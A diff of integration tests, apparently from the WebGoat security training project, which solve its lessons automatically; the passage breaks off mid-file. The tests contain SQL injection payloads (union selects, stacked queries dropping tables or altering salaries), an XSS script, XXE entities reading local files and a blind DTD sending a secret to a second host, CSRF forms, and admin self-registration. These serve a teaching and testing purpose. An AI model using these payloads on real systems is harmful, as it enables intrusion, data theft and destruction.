- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- *
- * Getting Source
- * ==============
- *
- * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
- */
-
-package org.owasp.webgoat;
-
-import java.util.Map;
-
-import org.junit.jupiter.api.Test;
-
-/**
- *
- * @author Angel Olle Blazquez
- *
- */
-
-class SessionManagementIT extends IntegrationTest {
-    
-    private static final String HIJACK_LOGIN_CONTEXT_PATH = "/WebGoat/HijackSession/login";
-
-
-    @Test
-    void hijackSessionTest() {
-        startLesson("HijackSession");
-        
-        checkAssignment(url(HIJACK_LOGIN_CONTEXT_PATH), Map.of("username", "webgoat", "password", "webgoat"), false);
-    }
-}

src/it/java/org/owasp/webgoat/SqlInjectionAdvancedIntegrationTest.java

@@ -1,49 +0,0 @@
-package org.owasp.webgoat;
-
-import java.util.HashMap;
-import java.util.Map;
-
-import org.junit.jupiter.api.Test;
-
-public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
-
-    @Test
-    public void runTests() {
-        startLesson("SqlInjectionAdvanced");
-
-        Map<String, Object> params = new HashMap<>();
-        params.clear();
-        params.put("username_reg", "tom' AND substring(password,1,1)='t");
-        params.put("password_reg", "password");
-        params.put("email_reg", "someone@microsoft.com");
-        params.put("confirm_password", "password");
-        checkAssignmentWithPUT(url("/WebGoat/SqlInjectionAdvanced/challenge"), params, true);
-
-        params.clear();
-        params.put("username_login", "tom");
-        params.put("password_login", "thisisasecretfortomonly");
-        checkAssignment(url("/WebGoat/SqlInjectionAdvanced/challenge_Login"), params, true);
-
-        params.clear();
-        params.put("userid_6a", "'; SELECT * FROM user_system_data;--");
-        checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
-
-        params.clear();
-        params.put("userid_6a", "Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from user_system_data --");
-        checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
-
-        params.clear();
-        params.put("userid_6b", "passW0rD");
-        checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6b"), params, true);
-
-        params.clear();
-        params.put("question_0_solution", "Solution 4: A statement has got values instead of a prepared statement");
-        params.put("question_1_solution", "Solution 3: ?");
-        params.put("question_2_solution", "Solution 2: Prepared statements are compiled once by the database management system waiting for input and are pre-compiled this way.");
-        params.put("question_3_solution", "Solution 3: Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data.");
-        params.put("question_4_solution", "Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.");
-        checkAssignment(url("/WebGoat/SqlInjectionAdvanced/quiz"), params, true);
-
-        checkResults("/SqlInjectionAdvanced/");
-    }
-}

src/it/java/org/owasp/webgoat/SqlInjectionLessonIntegrationTest.java

@@ -1,78 +0,0 @@
-package org.owasp.webgoat;
-
-import java.util.HashMap;
-import java.util.Map;
-
-import org.junit.jupiter.api.Test;
-
-public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
-
-    public static final String sql_2 = "select department from employees where last_name='Franco'";
-    public static final String sql_3 = "update employees set department='Sales' where last_name='Barnett'";
-    public static final String sql_4_drop = "alter table employees drop column phone";
-    public static final String sql_4_add = "alter table employees add column phone varchar(20)";
-    public static final String sql_5 = "grant select on grant_rights to unauthorized_user";
-    public static final String sql_9_account = " ' ";
-    public static final String sql_9_operator = "or";
-    public static final String sql_9_injection = "'1'='1";
-    public static final String sql_10_login_count = "2";
-    public static final String sql_10_userid = "1 or 1=1";
-
-    public static final String sql_11_a = "Smith' or '1' = '1";
-    public static final String sql_11_b = "3SL99A'  or '1'='1";
-
-    public static final String sql_12_a = "Smith";
-    public static final String sql_12_b = "3SL99A' ; update employees set salary= '100000' where last_name='Smith";
-
-    public static final String sql_13 = "%update% '; drop table access_log ; --'";
-
-    @Test
-    public void runTests() {
-        startLesson("SqlInjection");
-
-        Map<String, Object> params = new HashMap<>();
-        params.clear();
-        params.put("query", sql_2);
-        checkAssignment(url("/WebGoat/SqlInjection/attack2"), params, true);
-
-        params.clear();
-        params.put("query", sql_3);
-        checkAssignment(url("/WebGoat/SqlInjection/attack3"), params, true);
-
-        params.clear();
-        params.put("query", sql_4_add);
-        checkAssignment(url("/WebGoat/SqlInjection/attack4"), params, true);
-
-        params.clear();
-        params.put("query", sql_5);
-        checkAssignment(url("/WebGoat/SqlInjection/attack5"), params, true);
-
-        params.clear();
-        params.put("operator", sql_9_operator);
-        params.put("account", sql_9_account);
-        params.put("injection", sql_9_injection);
-        checkAssignment(url("/WebGoat/SqlInjection/assignment5a"), params, true);
-
-        params.clear();
-        params.put("login_count", sql_10_login_count);
-        params.put("userid", sql_10_userid);
-        checkAssignment(url("/WebGoat/SqlInjection/assignment5b"), params, true);
-
-        params.clear();
-        params.put("name", sql_11_a);
-        params.put("auth_tan", sql_11_b);
-        checkAssignment(url("/WebGoat/SqlInjection/attack8"), params, true);
-
-        params.clear();
-        params.put("name", sql_12_a);
-        params.put("auth_tan", sql_12_b);
-        checkAssignment(url("/WebGoat/SqlInjection/attack9"), params, true);
-
-        params.clear();
-        params.put("action_string", sql_13);
-        checkAssignment(url("/WebGoat/SqlInjection/attack10"), params, true);
-
-        checkResults("/SqlInjection/");
-
-    }
-}

src/it/java/org/owasp/webgoat/SqlInjectionMitigationIntegrationTest.java

@@ -1,70 +0,0 @@
-package org.owasp.webgoat;
-
-import io.restassured.RestAssured;
-import io.restassured.http.ContentType;
-
-import java.util.HashMap;
-import java.util.Map;
-
-import org.junit.jupiter.api.Test;
-
-import static org.hamcrest.CoreMatchers.containsString;
-
-public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
-
-    @Test
-    public void runTests() {
-        startLesson("SqlInjectionMitigations");
-
-        Map<String, Object> params = new HashMap<>();
-        params.clear();
-        params.put("field1", "getConnection");
-        params.put("field2", "PreparedStatement prep");
-        params.put("field3", "prepareStatement");
-        params.put("field4", "?");
-        params.put("field5", "?");
-        params.put("field6", "prep.setString(1,\"\")");
-        params.put("field7", "prep.setString(2,\\\"\\\")");
-        checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10a"), params, true);
-
-        params.put("editor", "try {\r\n" +
-                "    Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\r\n" +
-                "    PreparedStatement prep = conn.prepareStatement(\"select id from users where name = ?\");\r\n" +
-                "    prep.setString(1,\"me\");\r\n" +
-                "    prep.execute();\r\n" +
-                "    System.out.println(conn);   //should output 'null'\r\n" +
-                "} catch (Exception e) {\r\n" +
-                "    System.out.println(\"Oops. Something went wrong!\");\r\n" +
-                "}");
-        checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10b"), params, true);
-
-        params.clear();
-        params.put("userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--");
-        checkAssignment(url("/WebGoat/SqlOnlyInputValidation/attack"), params, true);
-
-        params.clear();
-        params.put("userid_sql_only_input_validation_on_keywords", "Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--");
-        checkAssignment(url("/WebGoat/SqlOnlyInputValidationOnKeywords/attack"), params, true);
-
-        RestAssured.given()
-                .when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
-                .contentType(ContentType.JSON)
-                .get(url("/WebGoat/SqlInjectionMitigations/servers?column=(case when (true) then hostname else id end)"))
-                .then()
-                .statusCode(200);
-
-        RestAssured.given()
-                .when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
-                .contentType(ContentType.JSON)
-                .get(url("/WebGoat/SqlInjectionMitigations/servers?column=unknown"))
-                .then()
-                .statusCode(500)
-                .body("trace", containsString("select id, hostname, ip, mac, status, description from SERVERS where status <> 'out of order' order by"));
-
-        params.clear();
-        params.put("ip", "104.130.219.202");
-        checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack12a"), params, true);
-
-        checkResults();
-    }
-}

src/it/java/org/owasp/webgoat/WebWolfIntegrationTest.java

@@ -1,72 +0,0 @@
-package org.owasp.webgoat;
-
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-import java.io.IOException;
-import java.util.HashMap;
-import java.util.Map;
-
-import org.junit.jupiter.api.Test;
-
-import io.restassured.RestAssured;
-
-public class WebWolfIntegrationTest extends IntegrationTest {
-    
-    @Test
-    public void runTests() throws IOException {
-        startLesson("WebWolfIntroduction");
-        
-        //Assignment 3
-        Map<String, Object> params = new HashMap<>();
-        params.clear();
-        params.put("email", this.getUser()+"@webgoat.org");
-        checkAssignment(url("/WebGoat/WebWolf/mail/send"), params, false);
-        
-        String responseBody = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .get(webWolfUrl("/WebWolf/mail"))
-                .then()
-                .extract().response().getBody().asString();
-        
-        String uniqueCode = responseBody.replace("%20", " ");
-        uniqueCode = uniqueCode.substring(21+uniqueCode.lastIndexOf("your unique code is: "),uniqueCode.lastIndexOf("your unique code is: ")+(21+ this.getUser().length()));
-        params.clear();
-        params.put("uniqueCode", uniqueCode);
-        checkAssignment(url("/WebGoat/WebWolf/mail"), params, true);
-        
-        //Assignment 4
-        RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())   
-                        .queryParams(params)
-                        .get(url("/WebGoat/WebWolf/landing/password-reset"))                        
-                        .then()
-                        .statusCode(200);
-        RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .cookie("WEBWOLFSESSION", getWebWolfCookie())
-        .queryParams(params)
-        .get(webWolfUrl("/landing"))                        
-        .then()
-        .statusCode(200);
-        responseBody = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .get(webWolfUrl("/WebWolf/requests"))
-                .then()
-                .extract().response().getBody().asString();
-        assertTrue(responseBody.contains(uniqueCode));
-        params.clear();
-        params.put("uniqueCode", uniqueCode);
-        checkAssignment(url("/WebGoat/WebWolf/landing"), params, true);
-        
-        checkResults("/WebWolf");
-        
-    }
-    
-}

src/it/java/org/owasp/webgoat/XSSIntegrationTest.java

@@ -1,68 +0,0 @@
-package org.owasp.webgoat;
-
-import io.restassured.RestAssured;
-
-import java.util.HashMap;
-import java.util.Map;
-
-import org.junit.jupiter.api.Test;
-
-public class XSSIntegrationTest extends IntegrationTest {
-
-    
-    @Test
-    public void crossSiteScriptingAssignments() {
-        startLesson("CrossSiteScripting");
-
-        Map<String, Object> params = new HashMap<>();
-        params.clear();
-        params.put("checkboxAttack1", "value");
-        checkAssignment(url("/CrossSiteScripting/attack1"), params, true);
-
-        params.clear();
-        params.put("QTY1", "1");
-        params.put("QTY2", "1");
-        params.put("QTY3", "1");
-        params.put("QTY4", "1");
-        params.put("field1", "<script>alert('XSS+Test')</script>");
-        params.put("field2", "111");
-        checkAssignmentWithGet(url("/CrossSiteScripting/attack5a"), params, true);
-
-        params.clear();
-        params.put("DOMTestRoute", "start.mvc#test");
-        checkAssignment(url("/CrossSiteScripting/attack6a"), params, true);
-        
-        params.clear();
-        params.put("param1", "42");
-        params.put("param2", "24");
-
-        String result =
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .header("webgoat-requested-by", "dom-xss-vuln")
-                        .header("X-Requested-With", "XMLHttpRequest")
-                        .formParams(params)
-                        .post(url("/CrossSiteScripting/phone-home-xss"))
-                        .then()
-                        .statusCode(200)
-                        .extract().path("output");
-        String secretNumber = result.substring("phoneHome Response is ".length());
-       
-        params.clear();
-        params.put("successMessage", secretNumber);
-        checkAssignment(url("/CrossSiteScripting/dom-follow-up"), params, true);
-        
-        params.clear();
-        params.put("question_0_solution", "Solution 4: No because the browser trusts the website if it is acknowledged trusted, then the browser does not know that the script is malicious.");
-        params.put("question_1_solution", "Solution 3: The data is included in dynamic content that is sent to a web user without being validated for malicious content.");
-        params.put("question_2_solution", "Solution 1: The script is permanently stored on the server and the victim gets the malicious script when requesting information from the server.");
-        params.put("question_3_solution", "Solution 2: They reflect the injected script off the web server. That occurs when input sent to the web server is part of the request.");
-        params.put("question_4_solution", "Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that the browser executes.");
-        checkAssignment(url("/CrossSiteScripting/quiz"), params, true);
-
-        checkResults("/CrossSiteScripting/");
-
-    }
-}

src/it/java/org/owasp/webgoat/XXEIntegrationTest.java

@@ -1,99 +0,0 @@
-package org.owasp.webgoat;
-
-import io.restassured.RestAssured;
-import io.restassured.http.ContentType;
-import org.junit.jupiter.api.Test;
-
-import java.io.IOException;
-import java.nio.file.Files;
-import java.nio.file.Path;
-import java.nio.file.Paths;
-
-public class XXEIntegrationTest extends IntegrationTest {
-
-    private static final String xxe3 = """
-            <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>""";
-    private static final String xxe4 = """
-            <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>""";
-    private static final String dtd7 = """
-            <?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;""";
-    private static final String xxe7 = """
-            <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>""";
-
-    private String webGoatHomeDirectory;
-    private String webWolfFileServerLocation;
-
-    /*
-     * This test is to verify that all is secure when XXE security patch is applied.
-     */
-    @Test
-    public void xxeSecure() throws IOException {
-        startLesson("XXE");
-        webGoatHomeDirectory = webGoatServerDirectory();
-        webWolfFileServerLocation = getWebWolfFileServerLocation();
-        RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("service/enable-security.mvc"))
-                .then()
-                .statusCode(200);
-        checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, false);
-        checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, false);
-        checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", false);
-    }
-
-    /**
-     * This performs the steps of the exercise before the secret can be committed in the final step.
-     *
-     * @return
-     * @throws IOException
-     */
-    private String getSecret() throws IOException {
-        //remove any left over DTD
-        Path webWolfFilePath = Paths.get(webWolfFileServerLocation);
-        if (webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")).toFile().exists()) {
-            Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")));
-        }
-        String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
-        String dtd7String = dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile);
-
-        //upload DTD
-        RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .multiPart("file", "blind.dtd", dtd7String.getBytes())
-                .post(webWolfUrl("/fileupload"))
-                .then()
-                .extract().response().getBody().asString();
-        //upload attack
-        String xxe7String = xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", this.getUser());
-        checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, xxe7String, false);
-
-        //read results from WebWolf
-        String result = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .get(webWolfUrl("/WebWolf/requests"))
-                .then()
-                .extract().response().getBody().asString();
-        result = result.replace("%20", " ");
-        if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) {
-            result = result.substring(result.lastIndexOf("WebGoat 8.0 rocks... ("), result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
-        }
-        return result;
-    }
-
-    @Test
-    public void runTests() throws IOException {
-        startLesson("XXE", true);
-        webGoatHomeDirectory = webGoatServerDirectory();
-        webWolfFileServerLocation = getWebWolfFileServerLocation();
-        checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true);
-        checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true);
-        checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", true);
-        checkResults("xxe/");
-    }
-}

src/it/java/org/owasp/webgoat/integration/AccessControlIntegrationTest.java

@@ -0,0 +1,89 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2020 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import io.restassured.RestAssured;
+import io.restassured.http.ContentType;
+import java.util.Map;
+import org.apache.http.HttpStatus;
+import org.junit.jupiter.api.Test;
+
+class AccessControlIntegrationTest extends IntegrationTest {
+
+  @Test
+  void testLesson() {
+    startLesson("MissingFunctionAC", true);
+    assignment1();
+    assignment2();
+    assignment3();
+
+    checkResults("MissingFunctionAC");
+  }
+
+  private void assignment3() {
+    // direct call should fail if user has not been created
+      RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .contentType(ContentType.JSON)
+        .get(webGoatUrlConfig.url("access-control/users-admin-fix"))
+        .then()
+        .statusCode(HttpStatus.SC_FORBIDDEN);
+
+    // create user
+    var userTemplate =
+        """
+        {"username":"%s","password":"%s","admin": "true"}
+        """;
+      RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .contentType(ContentType.JSON)
+        .body(String.format(userTemplate, this.getUser(), this.getUser()))
+        .post(webGoatUrlConfig.url("access-control/users"))
+        .then()
+        .statusCode(HttpStatus.SC_OK);
+
+    // get the users
+      var userHash =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .contentType(ContentType.JSON)
+            .get(webGoatUrlConfig.url("access-control/users-admin-fix"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath()
+            .get("find { it.username == \"Jerry\" }.userHash");
+
+      checkAssignment(webGoatUrlConfig.url("access-control/user-hash-fix"), Map.of("userHash", userHash), true);
+  }
+
+  private void assignment2() {
+      var userHash =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .contentType(ContentType.JSON)
+            .get(webGoatUrlConfig.url("access-control/users"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath()
+            .get("find { it.username == \"Jerry\" }.userHash");
+
+      checkAssignment(webGoatUrlConfig.url("access-control/user-hash"), Map.of("userHash", userHash), true);
+  }
+
+  private void assignment1() {
+    var params = Map.of("hiddenMenu1", "Users", "hiddenMenu2", "Config");
+      checkAssignment(webGoatUrlConfig.url("access-control/hidden-menu"), params, true);
+  }
+}

src/it/java/org/owasp/webgoat/integration/CSRFIntegrationTest.java

@@ -0,0 +1,287 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import static org.assertj.core.api.Assertions.assertThat;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.junit.jupiter.api.DynamicTest.dynamicTest;
+
+import io.restassured.RestAssured;
+import io.restassured.http.ContentType;
+import java.io.IOException;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
+import lombok.Data;
+import lombok.SneakyThrows;
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.DynamicTest;
+import org.junit.jupiter.api.TestFactory;
+import org.owasp.webgoat.container.lessons.Assignment;
+
+public class CSRFIntegrationTest extends IntegrationTest {
+
+  private static final String trickHTML3 =
+      "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
+          + "<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n"
+          + "<input type=\"submit\" name=\"submit\" value=\"assignment 3\"/>\n"
+          + "</form></body></html>";
+
+  private static final String trickHTML4 =
+      "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
+          + "<input type=\"hidden\" name=\"reviewText\" value=\"hoi\"/>\n"
+          + "<input type=\"hidden\" name=\"starts\" value=\"3\"/>\n"
+          + "<input type=\"hidden\" name=\"validateReq\""
+          + " value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/>\n"
+          + "<input type=\"submit\" name=\"submit\" value=\"assignment 4\"/>\n"
+          + "</form>\n"
+          + "</body></html>";
+
+  private static final String trickHTML7 =
+      "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" enctype='text/plain'"
+          + " method=\"POST\">\n"
+          + "<input type=\"hidden\""
+          + " name='{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat"
+          + " is the best!!' value='\"}' />\n"
+          + "<input type=\"submit\" value=\"assignment 7\"/>\n"
+          + "</form></body></html>";
+
+  private static final String trickHTML8 =
+      "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
+          + "<input type=\"hidden\" name=\"username\" value=\"csrf-USERNAME\"/>\n"
+          + "<input type=\"hidden\" name=\"password\" value=\"password\"/>\n"
+          + "<input type=\"hidden\" name=\"matchingPassword\" value=\"password\"/>\n"
+          + "<input type=\"hidden\" name=\"agree\" value=\"agree\"/>\n"
+          + "<input type=\"submit\" value=\"assignment 8\"/>\n"
+          + "</form></body></html>";
+
+  private String webwolfFileDir;
+
+  @BeforeEach
+  @SneakyThrows
+  public void init() {
+    startLesson("CSRF");
+    webwolfFileDir = getWebWolfFileServerLocation();
+      uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", webGoatUrlConfig.url("csrf/basic-get-flag")));
+      uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", webGoatUrlConfig.url("csrf/review")));
+      uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", webGoatUrlConfig.url("csrf/feedback/message")));
+      uploadTrickHtml(
+        "csrf8.html",
+        trickHTML8.replace("WEBGOATURL", webGoatUrlConfig.url("login")).replace("USERNAME", this.getUser()));
+  }
+
+  @TestFactory
+  Iterable<DynamicTest> testCSRFLesson() {
+    return Arrays.asList(
+        dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))),
+        dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))),
+        dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))),
+        dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html"))));
+  }
+
+  @AfterEach
+  public void shutdown() throws IOException {
+    // logout();
+    login(); // because old cookie got replaced and invalidated
+    startLesson("CSRF", false);
+    checkResults("CSRF");
+  }
+
+  private void uploadTrickHtml(String htmlName, String htmlContent) throws IOException {
+
+    // remove any left over html
+    Path webWolfFilePath = Paths.get(webwolfFileDir);
+    if (webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)).toFile().exists()) {
+      Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)));
+    }
+
+    // upload trick html
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("WEBWOLFSESSION", getWebWolfCookie())
+        .multiPart("file", htmlName, htmlContent.getBytes())
+        .post(webWolfUrlConfig.url("fileupload"))
+        .then()
+        .extract()
+        .response()
+        .getBody()
+        .asString();
+  }
+
+  private String callTrickHtml(String htmlName) {
+    String result =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .cookie("WEBWOLFSESSION", getWebWolfCookie())
+            .get(webWolfUrlConfig.url("files/%s/%s".formatted(this.getUser(), htmlName)))
+            .then()
+            .extract()
+            .response()
+            .getBody()
+            .asString();
+    result = result.substring(8 + result.indexOf("action=\""));
+    result = result.substring(0, result.indexOf("\""));
+
+    return result;
+  }
+
+  private void checkAssignment3(String goatURL) {
+    String flag =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .header("Referer", webWolfUrlConfig.url("files/fake.html"))
+            .post(goatURL)
+            .then()
+            .extract()
+            .path("flag")
+            .toString();
+
+    Map<String, Object> params = new HashMap<>();
+    params.put("confirmFlagVal", flag);
+      checkAssignment(webGoatUrlConfig.url("csrf/confirm-flag-1"), params, true);
+  }
+
+  private void checkAssignment4(String goatURL) {
+
+    Map<String, Object> params = new HashMap<>();
+    params.put("reviewText", "test review");
+    params.put("stars", "5");
+    params.put(
+        "validateReq", "2aa14227b9a13d0bede0388a7fba9aa9"); // always the same token is the weakness
+
+    boolean result =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .header("Referer", webWolfUrlConfig.url("files/fake.html"))
+            .formParams(params)
+            .post(goatURL)
+            .then()
+            .extract()
+            .path("lessonCompleted");
+    assertTrue(result);
+  }
+
+  private void checkAssignment7(String goatURL) {
+    Map<String, Object> params = new HashMap<>();
+    params.put(
+        "{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the"
+            + " best!!",
+        "\"}");
+
+    String flag =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .header("Referer", webWolfUrlConfig.url("files/fake.html"))
+            .contentType(ContentType.TEXT)
+            .body(
+                "{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is"
+                    + " the best!!=\"}")
+            .post(goatURL)
+            .then()
+            .extract()
+            .asString();
+    flag = flag.substring(9 + flag.indexOf("flag is:"));
+    flag = flag.substring(0, flag.indexOf("\""));
+
+    params.clear();
+    params.put("confirmFlagVal", flag);
+      checkAssignment(webGoatUrlConfig.url("csrf/feedback"), params, true);
+  }
+
+  private void checkAssignment8(String goatURL) {
+
+    // first make sure there is an attack csrf- user
+    registerCSRFUser();
+
+    Map<String, Object> params = new HashMap<>();
+    params.put("username", "csrf-" + this.getUser());
+    params.put("password", "password");
+
+    // login and get the new cookie
+    String newCookie =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .header("Referer", webWolfUrlConfig.url("files/fake.html"))
+            .params(params)
+            .post(goatURL)
+            .then()
+            .extract()
+            .cookie("JSESSIONID");
+
+    // select the lesson
+      RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", newCookie)
+        .get(webGoatUrlConfig.url("CSRF.lesson.lesson"))
+        .then()
+        .statusCode(200);
+
+    // click on the assignment
+      boolean result =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", newCookie)
+            .post(webGoatUrlConfig.url("csrf/login"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted");
+
+    assertThat(result).isTrue();
+
+    login();
+    startLesson("CSRF", false);
+
+      Overview[] assignments =
+        RestAssured.given()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .relaxedHTTPSValidation()
+            .get(webGoatUrlConfig.url("service/lessonoverview.mvc/CSRF"))
+            .then()
+            .extract()
+            .jsonPath()
+            .getObject("$", Overview[].class);
+    assertThat(assignments)
+        .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
+        .extracting(o -> o.solved)
+        .containsExactly(true);
+  }
+
+  @Data
+  private static class Overview {
+    Assignment assignment;
+    boolean solved;
+  }
+
+  /** Try to register the new user. Ignore the result. */
+  private void registerCSRFUser() {
+
+      RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .formParam("username", "csrf-" + this.getUser())
+        .formParam("password", "password")
+        .formParam("matchingPassword", "password")
+        .formParam("agree", "agree")
+        .post(webGoatUrlConfig.url("register.mvc"));
+  }
+}

src/it/java/org/owasp/webgoat/integration/ChallengeIntegrationTest.java

@@ -0,0 +1,174 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2022 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+import io.restassured.RestAssured;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import org.assertj.core.api.Assertions;
+import org.junit.jupiter.api.Test;
+import org.springframework.http.HttpStatus;
+
+public class ChallengeIntegrationTest extends IntegrationTest {
+
+  @Test
+  void testChallenge1() {
+    startLesson("Challenge1");
+
+      byte[] resultBytes =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webGoatUrlConfig.url("challenge/logo"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .asByteArray();
+
+    String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220));
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("username", "admin");
+    params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode));
+
+      checkAssignment(webGoatUrlConfig.url("challenge/1"), params, true);
+      String result =
+        RestAssured.given()
+            .when()
